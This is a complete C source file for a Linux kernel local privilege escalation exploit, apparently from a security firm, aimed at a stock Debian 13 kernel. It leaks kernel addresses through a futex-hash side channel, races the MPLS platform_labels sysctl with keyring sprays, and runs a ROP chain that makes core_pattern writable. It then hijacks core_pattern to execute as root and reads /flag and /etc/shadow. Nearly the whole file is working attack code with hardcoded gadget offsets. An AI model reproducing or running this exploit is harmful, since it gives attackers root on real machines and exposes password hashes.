/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "kernelsnitch.h" #include "leak.h" /* Stock Debian 13, linux-image-6.12.101+deb13-amd64 (6.12.101-1). */ #define KERNEL_BASE UINT64_C(0xffffffff81000000) #define KERNEL_IMAGE_PAGES 22 #define OFF_PIVOT_RBP UINT64_C(0xb28a0) #define OFF_POP_RSI UINT64_C(0xccc21d) #define OFF_POP_RDI_RDI UINT64_C(0x8148e0) #define OFF_WRITE4 UINT64_C(0x2c002e) #define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec) #define OFF_HALT_LOOP UINT64_C(0x5096d) #define MM_STRUCT_SIZE 1408UL #define MM_SLAB_ORDER 3UL #define MM_SLAB_BYTES (PAGE_SIZE << MM_SLAB_ORDER) #define MM_OBJECTS_PER_SLAB (MM_SLAB_BYTES / MM_STRUCT_SIZE) #define MM_PARTIALS 10 #define PHYSMAP_SEARCH_BACK (2ULL << 30) #define PHYSMAP_SEARCH_BYTES (10ULL << 30) #define FRAG_SEND_LEN (FRAG_LINEAR_LEN + STAGE2_BYTES) #define FRAG_LINEAR_LEN 3616 #define STAGE2_BYTES MM_SLAB_BYTES #define ROUTE_OFFSET 0x600UL #define DEVICE_OFFSET 0x800UL #define HEADER_OPS_OFFSET 0xd00UL #define DEV_HEADER_OPS 0x10UL #define DEV_MTU 0x38UL #define DEV_NEEDED_HEADROOM 0x3cUL #define DEV_STATE 0xa8UL #define DEV_FLAGS 0xb0UL #define DEV_HARD_HEADER_LEN 0xb4UL #define DEV_MPLS_PTR 0x428UL #define DEV_ADDR 0x430UL #define KEY_PAYLOAD_LEN 104 #define KEY_SPEC_PROCESS_KEYRING -2 #define KEY_SPRAY_MAX 180 #define WRITER_THREADS 4 #define MPLS_NEIGH_TABLE_UNSPEC 3 struct mm_ctx { size_t count; pid_t *children; int *memfds; }; struct mm_search_range { struct kernelsnitch_shared_state *ks; size_t start; size_t end; }; struct writer_ctx { int cpu; int id; }; struct sender_ctx { int ifindex; unsigned char src[6]; unsigned char dst[6]; int cpu; }; static struct mm_ctx prepare_ctx; static struct mm_ctx spray_ctx; static struct mm_ctx pre_ctx; static struct mm_ctx post_ctx; static struct kernelsnitch_shared_state *ks; static pid_t leak_child; static int leak_memfd = -1; static pid_t main_pid; static atomic_bool stop_flag; static int won_pipe[2]; static long route_key_serials[KEY_SPRAY_MAX]; static int route_key_count; static unsigned char route_key_payload[KEY_PAYLOAD_LEN]; static void put8(unsigned char *buffer, size_t length, size_t offset, uint8_t value) { if (offset < length) buffer[offset] = value; } static void put16(unsigned char *buffer, size_t length, size_t offset, uint16_t value) { if (offset + sizeof(value) <= length) memcpy(buffer + offset, &value, sizeof(value)); } static void put32(unsigned char *buffer, size_t length, size_t offset, uint32_t value) { if (offset + sizeof(value) <= length) memcpy(buffer + offset, &value, sizeof(value)); } static void put64(unsigned char *buffer, size_t length, size_t offset, uint64_t value) { if (offset + sizeof(value) <= length) memcpy(buffer + offset, &value, sizeof(value)); } static double monotonic_seconds(void) { struct timespec now; SYSCHK(clock_gettime(CLOCK_MONOTONIC, &now)); return now.tv_sec + now.tv_nsec / 1000000000.0; } static void *search_mm_struct_range(void *argument) { struct mm_search_range *range = argument; struct kernelsnitch_shared_state *state = range->ks; for (size_t slab = range->start; slab < range->end && !state->found; slab += MM_SLAB_BYTES) { for (size_t candidate = slab; candidate < slab + MM_SLAB_BYTES && !state->found; candidate += state->mm_struct_sz) { int matches = 1; for (size_t i = 1; i < state->collisions && matches; i++) matches = futex_hash(state->futex_addrs[0], candidate) == futex_hash(state->futex_addrs[i], candidate); if (matches) { state->mm_struct = candidate; state->found = 1; } } } return NULL; } static void kernelsnitch_bruteforce_physmap( struct kernelsnitch_shared_state *state, uint64_t physmap) { size_t search_start = (physmap - PHYSMAP_SEARCH_BACK) & ~(MM_SLAB_BYTES - 1); size_t search_end = search_start + PHYSMAP_SEARCH_BYTES; size_t chunk = (PHYSMAP_SEARCH_BYTES + state->thread_cnt - 1) / state->thread_cnt; struct mm_search_range *ranges; chunk = (chunk + MM_SLAB_BYTES - 1) & ~(MM_SLAB_BYTES - 1); ranges = calloc(state->thread_cnt, sizeof(*ranges)); if (!ranges) pr_error("calloc mm search ranges: %m\n"); printf("[.] KernelSnitch search: %#zx-%#zx (%zu threads)\n", search_start, search_end, state->thread_cnt); reset_cpu_pin(); for (size_t i = 0; i < state->thread_cnt; i++) { ranges[i].ks = state; ranges[i].start = search_start + i * chunk; ranges[i].end = ranges[i].start + chunk; if (ranges[i].end > search_end) ranges[i].end = search_end; if (pthread_create(&state->tids[i], NULL, search_mm_struct_range, &ranges[i])) pr_error("pthread_create mm search: %m\n"); } for (size_t i = 0; i < state->thread_cnt; i++) pthread_join(state->tids[i], NULL); free(ranges); state->state = state->mm_struct == (size_t)-1 ? KERNELSNITCH_MM_NOT_FOUND : KERNELSNITCH_MM_FOUND; } static void init_ctx(struct mm_ctx *ctx, size_t count) { ctx->count = count; ctx->children = calloc(count, sizeof(*ctx->children)); ctx->memfds = calloc(count, sizeof(*ctx->memfds)); if (!ctx->children || !ctx->memfds) pr_error("calloc mm context: %m\n"); for (size_t i = 0; i < count; i++) ctx->memfds[i] = -1; } static pid_t clone_sleeper(void) { pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0)); if (!child) { pin_to_core(0); for (;;) pause(); } return child; } static pid_t clone_leaker(void) { pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0)); if (!child) { #ifndef PR_FUTEX_HASH_SET_SLOTS #define PR_FUTEX_HASH_SET_SLOTS 1 #endif #ifndef PR_FUTEX_HASH #define PR_FUTEX_HASH 78 #endif (void)prctl(PR_FUTEX_HASH, PR_FUTEX_HASH_SET_SLOTS, 0, 0); kernelsnitch_find_collisions(ks); _exit(0); } return child; } static int open_mm(pid_t child) { char path[64]; snprintf(path, sizeof(path), "/proc/%d/mem", child); return SYSCHK(open(path, O_RDONLY | O_CLOEXEC)); } static void kill_child(pid_t child) { if (child <= 0) return; if (kill(child, SIGKILL) < 0 && errno != ESRCH) pr_error("kill child: %m\n"); while (waitpid(child, NULL, 0) < 0 && errno == EINTR) ; } static void close_ctx_fds(struct mm_ctx *ctx) { for (size_t i = 0; i < ctx->count; i++) { if (ctx->memfds[i] >= 0) { close(ctx->memfds[i]); ctx->memfds[i] = -1; } } } static void kill_ctx_children(struct mm_ctx *ctx) { for (size_t i = 0; i < ctx->count; i++) { kill_child(ctx->children[i]); ctx->children[i] = 0; } } static void cleanup_children(void) { if (getpid() != main_pid) return; close_ctx_fds(&prepare_ctx); close_ctx_fds(&spray_ctx); close_ctx_fds(&pre_ctx); close_ctx_fds(&post_ctx); if (leak_memfd >= 0) close(leak_memfd); kill_ctx_children(&prepare_ctx); kill_ctx_children(&spray_ctx); kill_ctx_children(&pre_ctx); kill_ctx_children(&post_ctx); } static void allocate_ctx(struct mm_ctx *ctx) { for (size_t i = 0; i < ctx->count; i++) { ctx->children[i] = clone_sleeper(); ctx->memfds[i] = open_mm(ctx->children[i]); } } static uint64_t prepare_known_page(uint64_t physmap, uint64_t slide, int frag_sv[2]) { unsigned char *frag_buffer = calloc(1, FRAG_SEND_LEN); unsigned char *stage2 = calloc(1, STAGE2_BYTES); uint64_t leaked_mm; uint64_t page; double started; init_ctx(&prepare_ctx, 4 * MM_OBJECTS_PER_SLAB); init_ctx(&spray_ctx, (1 + MM_PARTIALS) * MM_OBJECTS_PER_SLAB); init_ctx(&pre_ctx, MM_OBJECTS_PER_SLAB - 1); init_ctx(&post_ctx, MM_OBJECTS_PER_SLAB); allocate_ctx(&prepare_ctx); allocate_ctx(&spray_ctx); ks = kernelsnitch_setup(MM_STRUCT_SIZE, MM_SLAB_ORDER, sysconf(_SC_NPROCESSORS_ONLN), 8, 1, 0); pin_to_core(1); for (size_t i = 0; i < pre_ctx.count; i++) pre_ctx.children[i] = clone_sleeper(); leak_child = clone_leaker(); for (size_t i = 0; i < post_ctx.count; i++) post_ctx.children[i] = clone_sleeper(); for (size_t i = 0; i < pre_ctx.count; i++) pre_ctx.memfds[i] = open_mm(pre_ctx.children[i]); leak_memfd = open_mm(leak_child); for (size_t i = 0; i < post_ctx.count; i++) post_ctx.memfds[i] = open_mm(post_ctx.children[i]); kill_ctx_children(&pre_ctx); kill_ctx_children(&post_ctx); kill_ctx_children(&spray_ctx); SYSCHK(waitpid(leak_child, NULL, 0)); leak_child = 0; if (!kernelsnitch_found_collisions(ks)) pr_error("KernelSnitch collision phase failed\n"); started = monotonic_seconds(); kernelsnitch_bruteforce_physmap(ks, physmap); leaked_mm = kernelsnitch_cleanup(ks); ks = NULL; if (leaked_mm == UINT64_MAX) pr_error("KernelSnitch address phase failed\n"); page = leaked_mm & ~(MM_SLAB_BYTES - 1); printf("[+] known slab page=%#llx (search %.3fs)\n", (unsigned long long)page, monotonic_seconds() - started); /* Free every object in the selected order-2 slab, preserving the rest. */ pin_to_core(1); for (size_t i = 0; i < spray_ctx.count / 2; i += MM_OBJECTS_PER_SLAB) { close(spray_ctx.memfds[i]); spray_ctx.memfds[i] = -1; } for (size_t i = 0; i < pre_ctx.count; i++) { close(pre_ctx.memfds[i]); pre_ctx.memfds[i] = -1; } for (size_t i = 0; i + 1 < post_ctx.count; i++) { close(post_ctx.memfds[i]); post_ctx.memfds[i] = -1; } for (size_t i = spray_ctx.count / 2; i < spray_ctx.count; i += MM_OBJECTS_PER_SLAB) { close(spray_ctx.memfds[i]); spray_ctx.memfds[i] = -1; } close(leak_memfd); leak_memfd = -1; /* Build the fake route, device, header_ops, and ROP stack. */ memset(stage2, 0, STAGE2_BYTES); uint64_t route = page + ROUTE_OFFSET; uint64_t dev = page + DEVICE_OFFSET; uint64_t hops = page + HEADER_OPS_OFFSET; uint64_t pivot = KERNEL_BASE + slide + OFF_PIVOT_RBP; uint64_t pop_rsi = KERNEL_BASE + slide + OFF_POP_RSI; uint64_t pop_rdi_rdi = KERNEL_BASE + slide + OFF_POP_RDI_RDI; uint64_t write4 = KERNEL_BASE + slide + OFF_WRITE4; uint64_t mode = KERNEL_BASE + slide + OFF_CORE_PATTERN_MODE; uint64_t halt_loop = KERNEL_BASE + slide + OFF_HALT_LOOP; size_t ro = ROUTE_OFFSET; size_t nd = DEVICE_OFFSET; uint64_t *q = (uint64_t *)(stage2 + nd); /* struct mpls_route: rt_nhn=1 makes rt_nh start at +0x20. */ put8(stage2, STAGE2_BYTES, ro + 20, 1); put8(stage2, STAGE2_BYTES, ro + 21, 1); put64(stage2, STAGE2_BYTES, ro + 0x20, dev); put32(stage2, STAGE2_BYTES, ro + 0x28, 0); put8(stage2, STAGE2_BYTES, ro + 0x2c, 1); put8(stage2, STAGE2_BYTES, ro + 0x2e, MPLS_NEIGH_TABLE_UNSPEC); put32(stage2, STAGE2_BYTES, ro + 0x30, 16U << 12); /* pc2 pivots to rbp==fake dev; consume header_ops before the chain. */ q[0] = 0; q[1] = pop_rdi_rdi; q[2] = hops; /* also dev->header_ops */ q[3] = 0; q[4] = pop_rsi; q[5] = mode; q[6] = pop_rdi_rdi; q[7] = 0xffff; /* also mtu=65535, headroom=0 */ q[8] = 0x070001b6; /* sysctl mode=0666, maxlen unchanged */ q[9] = write4; q[10] = halt_loop; put64(stage2, STAGE2_BYTES, nd + DEV_HEADER_OPS, hops); put32(stage2, STAGE2_BYTES, nd + DEV_MTU, 65535); put16(stage2, STAGE2_BYTES, nd + DEV_NEEDED_HEADROOM, 0); put64(stage2, STAGE2_BYTES, nd + DEV_STATE, 0); put32(stage2, STAGE2_BYTES, nd + DEV_FLAGS, IFF_UP); put16(stage2, STAGE2_BYTES, nd + DEV_HARD_HEADER_LEN, 0); put64(stage2, STAGE2_BYTES, nd + DEV_MPLS_PTR, 0); put64(stage2, STAGE2_BYTES, nd + DEV_ADDR, page + 0xe00); put64(stage2, STAGE2_BYTES, HEADER_OPS_OFFSET, pivot); memset(frag_buffer, 0, FRAG_SEND_LEN); memcpy(frag_buffer + FRAG_LINEAR_LEN, stage2, STAGE2_BYTES); struct iovec iov = { .iov_base = frag_buffer, .iov_len = FRAG_SEND_LEN, }; struct msghdr message = { .msg_iov = &iov, .msg_iovlen = 1, }; SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, frag_sv)); if (SYSCHK(sendmsg(frag_sv[0], &message, 0)) != FRAG_SEND_LEN) pr_error("short known-page sendmsg\n"); printf("[+] staged fake route=%#llx dev=%#llx callback=%#llx\n", (unsigned long long)route, (unsigned long long)dev, (unsigned long long)pivot); close_ctx_fds(&prepare_ctx); close_ctx_fds(&spray_ctx); close_ctx_fds(&post_ctx); kill_ctx_children(&prepare_ctx); free(stage2); free(frag_buffer); return route; } static int root_helper(const char *pid_string) { char buffer[4096]; int pid = atoi(pid_string); int pfd = syscall(SYS_pidfd_open, pid, 0); int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0); const char *paths[] = { "/flag", "/etc/shadow" }; if (out >= 0) dup2(out, STDOUT_FILENO); (void)!write(STDOUT_FILENO, "DEBIAN_ROOT_OK\n", 15); for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) { int fd = open(paths[i], O_RDONLY); ssize_t length; if (fd < 0) continue; length = read(fd, buffer, sizeof(buffer)); close(fd); if (length > 0) { (void)!write(STDOUT_FILENO, buffer, length); if (buffer[length - 1] != '\n') (void)!write(STDOUT_FILENO, "\n", 1); } } return 0; } static void watch_dirty_mode(void) { const char pattern[] = "|/proc/%P/fd/666 %P"; struct rlimit limit; int fd; pin_to_core(0); while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0) usleep(2000); if (write(fd, pattern, sizeof(pattern) - 1) < 0) _exit(1); close(fd); (void)!write(won_pipe[1], "W", 1); puts("[+] core_pattern became writable"); if (!fork()) { int self = open("/proc/self/exe", O_RDONLY); int memfd = memfd_create("_nebusec", 0); sendfile(memfd, self, NULL, 1U << 30); dup2(memfd, 666); close(self); close(memfd); if (!getrlimit(RLIMIT_CORE, &limit)) { limit.rlim_cur = limit.rlim_max; setrlimit(RLIMIT_CORE, &limit); } signal(SIGSEGV, SIG_DFL); *(volatile unsigned long *)0 = 0; _exit(1); } sleep(8); _exit(0); } static int read_mac(const char *ifname, unsigned char mac[6]) { struct ifreq ifr = { 0 }; int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) return -1; strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { close(fd); return -1; } memcpy(mac, ifr.ifr_hwaddr.sa_data, 6); close(fd); return 0; } static long add_user_key(const char *name, const void *payload, size_t length) { return syscall(SYS_add_key, "user", name, payload, length, KEY_SPEC_PROCESS_KEYRING); } static void spray_route_keys(uint64_t route) { char name[48]; int count = 0; memset(route_key_payload, 0x41, sizeof(route_key_payload)); memcpy(route_key_payload, &route, sizeof(route)); for (int i = 0; i < KEY_SPRAY_MAX; i++) { snprintf(name, sizeof(name), "_nebusec__-%d-%d", getpid(), i); route_key_serials[i] = add_user_key(name, route_key_payload, sizeof(route_key_payload)); if (route_key_serials[i] < 0) break; count++; } if (count < 32) pr_error("insufficient key spray: %d (%m)\n", count); for (int i = 0; i < count; i += 2) SYSCHK(syscall(SYS_keyctl, KEYCTL_REVOKE, route_key_serials[i], 0, 0, 0)); usleep(250000); route_key_count = count; printf("[+] route-key spray: %d allocated, %d controlled live\n", count, count / 2); } static void *writer_thread(void *argument) { struct writer_ctx *ctx = argument; const char high[] = "20\n"; const char low[] = "16\n"; unsigned long loops = 0; int fd; pin_to_core(ctx->cpu); /* Make every timerfd wakeup preempt this thread inside the store pair. */ (void)setpriority(PRIO_PROCESS, 0, 19); fd = SYSCHK(open("/proc/sys/net/mpls/platform_labels", O_WRONLY | O_CLOEXEC)); while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) { int key_index; if (pwrite(fd, high, sizeof(high) - 1, 0) != sizeof(high) - 1) break; /* * Consume the just-freed low-table slot with a fresh controlled * payload. The next low allocation is forced onto a different * spray hole, cycling the table through many physical neighbours. */ key_index = 1 + 2 * ((loops + ctx->id) % (route_key_count / 2)); (void)syscall(SYS_keyctl, KEYCTL_UPDATE, route_key_serials[key_index], route_key_payload, sizeof(route_key_payload)); if (pwrite(fd, low, sizeof(low) - 1, 0) != sizeof(low) - 1) break; loops++; } printf("[.] writer loops=%lu\n", loops); return NULL; } static void *timer_jammer(void *unused) { struct itimerspec its = { 0 }; uint64_t expirations; int fd; (void)unused; pin_to_core(0); fd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC)); its.it_value.tv_nsec = 1000; its.it_interval.tv_nsec = 1000; SYSCHK(timerfd_settime(fd, 0, &its, NULL)); while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) (void)read(fd, &expirations, sizeof(expirations)); return NULL; } static void build_frame(unsigned char *frame, const struct sender_ctx *ctx) { struct ethhdr *eth = (struct ethhdr *)frame; uint32_t entry = (19U << 12) | (1U << 8) | 64U; memset(frame, 0, 64); memcpy(eth->h_dest, ctx->dst, ETH_ALEN); memcpy(eth->h_source, ctx->src, ETH_ALEN); eth->h_proto = htons(ETH_P_MPLS_UC); entry = htonl(entry); memcpy(frame + sizeof(*eth), &entry, sizeof(entry)); } static void *sender_thread(void *argument) { struct sender_ctx *ctx = argument; struct sockaddr_ll address = { 0 }; unsigned char frame[64]; int one = 1; int fd; pin_to_core(ctx->cpu); fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_MPLS_UC))); setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one)); address.sll_family = AF_PACKET; address.sll_protocol = htons(ETH_P_MPLS_UC); address.sll_ifindex = ctx->ifindex; address.sll_halen = ETH_ALEN; memcpy(address.sll_addr, ctx->dst, ETH_ALEN); build_frame(frame, ctx); while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) (void)sendto(fd, frame, sizeof(struct ethhdr) + sizeof(uint32_t), 0, (struct sockaddr *)&address, sizeof(address)); return NULL; } static void autoload_mpls(void) { int fd = socket(AF_MPLS, SOCK_RAW, 0); if (fd >= 0) close(fd); usleep(100000); } static void setup_mpls_namespace(void) { static const char command[] = "ip link add _neb0 type veth peer name _neb1 && " "ip link set _neb0 up && ip link set _neb1 up"; set_user_namespace(); if (system(command)) pr_error("failed to configure veth pair\n"); write_file("/proc/sys/net/mpls/conf/_neb1/input", "1\n"); write_file("/proc/sys/net/mpls/platform_labels", "0\n"); } static int run_exploit(void) { struct writer_ctx writer_context[WRITER_THREADS]; struct sender_ctx send_context[8]; pthread_t writers[WRITER_THREADS]; pthread_t jammer; pthread_t senders[8]; uint64_t slide; uint64_t physmap; uint64_t route; int frag_sv[2]; double started = monotonic_seconds(); fd_set read_set; struct timeval timeout = { .tv_sec = 200 }; char won; set_unbuffer(); set_limit(); main_pid = getpid(); atexit(cleanup_children); autoload_mpls(); if (pipe(won_pipe)) pr_error("pipe: %m\n"); pid_t watcher = SYSCHK(fork()); if (!watcher) watch_dirty_mode(); pin_to_core(1); slide = leak_image_slide(KERNEL_IMAGE_PAGES); physmap = leak_phys_map_base_stable(11); printf("[+] prefetch completed in %.3fs\n", monotonic_seconds() - started); route = prepare_known_page(physmap, slide, frag_sv); setup_mpls_namespace(); pin_to_core(0); spray_route_keys(route); for (size_t i = 0; i < WRITER_THREADS; i++) { writer_context[i].cpu = 0; writer_context[i].id = i; SYSCHK(pthread_create(&writers[i], NULL, writer_thread, &writer_context[i])); } SYSCHK(pthread_create(&jammer, NULL, timer_jammer, NULL)); for (size_t i = 0; i < sizeof(senders) / sizeof(senders[0]); i++) { memset(&send_context[i], 0, sizeof(send_context[i])); send_context[i].ifindex = if_nametoindex("_neb0"); send_context[i].cpu = 1; if (read_mac("_neb0", send_context[i].src) || read_mac("_neb1", send_context[i].dst)) pr_error("read veth MAC: %m\n"); SYSCHK(pthread_create(&senders[i], NULL, sender_thread, &send_context[i])); } puts("[.] racing controlled MPLS label 19"); FD_ZERO(&read_set); FD_SET(won_pipe[0], &read_set); if (select(won_pipe[0] + 1, &read_set, NULL, NULL, &timeout) > 0 && read(won_pipe[0], &won, 1) == 1) { printf("[+] exploit won in %.3fs\n", monotonic_seconds() - started); sleep(8); return 0; } atomic_store_explicit(&stop_flag, true, memory_order_relaxed); fprintf(stderr, "[-] race timed out\n"); kill(watcher, SIGKILL); return 1; } int main(int argc, char **argv) { if (argc > 1) return root_helper(argv[1]); return run_exploit(); }